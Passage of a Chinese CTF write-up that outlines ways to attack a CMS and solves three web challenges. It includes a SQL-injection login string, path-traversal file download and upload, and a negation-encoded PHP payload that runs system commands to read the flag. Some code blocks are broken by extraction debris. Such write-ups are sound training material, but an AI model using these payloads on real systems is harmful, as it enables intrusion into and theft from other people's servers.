- 用浏览器F12查看网络请求,关注Cookie中是否有特殊参数,或者响应头中是否暴露了服务器信息。
第二步:漏洞利用(根据CMS类型展开)
得到版本后,你有以下三条路可走:
路线A:利用公开漏洞
- 去 Exploit-DB、CNVD、Seebug 或 CVE 官网搜索该CMS版本。
- 例如:DedeCMS 5.7 有著名的任意用户重置漏洞;ThinkPHP(不是CMS但常被用于CMS框架)有远程代码执行漏洞。
- 工具:Burp Suite(抓包改包)是基础,熟练使用 Metasploit 或 Pocsuite3 跑已知POC/EXP也很高效。
路线B:代码审计)
如果题目给了源码压缩包,或者有文件包含漏洞能读取源码:
- 重点看 用户输入点:
$_GET、$_POST、$_COOKIE,看是否过滤严格。 - 重点看 上传功能:
upload函数,看是否只检查前端MIME或扩展名,能否上传shell.php或.htaccess。 - 重点看 SQL拼接:搜索
select语句,看是否使用预编译,如果直接拼接变量,就有SQL注入。 - 找 后台功能:如果拿到了后台权限,找模板编辑、插件管理、数据库备份等功能,这些地方容易直接写Shell。
路线C:逻辑漏洞
如果找不到现成漏洞,就手动测试业务逻辑:
- 万能密码:尝试
admin' or 1=1#登录后台(虽然现在很少见,但值得一试)。 - 越权操作:登录普通账号后,尝试修改URL中的
uid=1为uid=2,看能否看到其他用户信息。 - 找回密码:看验证码是否可爆破,或邮箱Token是否可预测。
第三步:Get Shell & 读Flag
拿到权限后,最终目的是读文件。常见Flag位置:
- Linux系统:
/flag、/var/www/html/flag.txt、/root/flag.txt - Windows系统:
C:\flag.txt - 如果不知道路径,在Web目录下用PHP函数
system('find / -name "*flag*"');寻找。
解题
先用dirsearch扫一下,扫到了/admin.php,访问
是一个登录页面
1 | username:admin |
方法一:任意文件下载
设计—自定义—导出主题—保存
下载下来的文件右键复制下载链接
1 | https://4330b4662e56d1d0c5fa5dae.http-ctf2.dasctf.com/admin.php?m=ui&f=downloadtheme&theme=L3Zhci93d3cvaHRtbC9zeXN0ZW0vdG1wL3RoZW1lL2RlZmF1bHQvMS56aXA= |
最后是一串base64 编码,解密后是/var/www/html/system/tmp/theme/default/1.zip,而且是文件的绝对路径
我们直接包含/flag就可以了,base64加密一下成为L2ZsYWc=
访问
1 | https://4330b4662e56d1d0c5fa5dae.http-ctf2.dasctf.com/admin.php?m=ui&f=downloadtheme&theme=L2ZsYWc= |
然后把下载下来的flag.zip改成txt就好了
方法二:文件上传
设计—自定义—首页—编辑,选择php源代码

保存的时候要我先创建一个linf文件,这个文件名是每个人不一样的。

设计—组件—素材库—上传素材
先上传一个txt文件然后编辑它的名称,改成../../../../../system/tmp/linf,形成目录穿越

然后回去编辑php代码
返回网站得到flag
魔法浏览器
查看源码
1 |
|
看到魔法UA
1 | \x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30 \x28\x57\x69\x6e\x64\x6f\x77\x73 \x4e\x54 \x31\x30\x2e\x30\x3b \x57\x69\x6e\x36\x34\x3b \x78\x36\x34\x29 \x41\x70\x70\x6c\x65\x57\x65\x62\x4b\x69\x74\x2f\x35\x33\x37\x2e\x33\x36 \x28\x4b\x48\x54\x4d\x4c\x2c \x6c\x69\x6b\x65 \x47\x65\x63\x6b\x6f\x29 \x4d\x61\x67\x69\x63\x2f\x31\x30\x30\x2e\x30\x2e\x34\x38\x39\x36\x2e\x37\x35 |
bp抓包改UA头,发包,OK了
SimpleRCE
1 |
|
过滤了好多东西,但是没过滤~、()和%,直接取反绕过
1 | import re |
payload:
1 | aaa=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%9E%98); |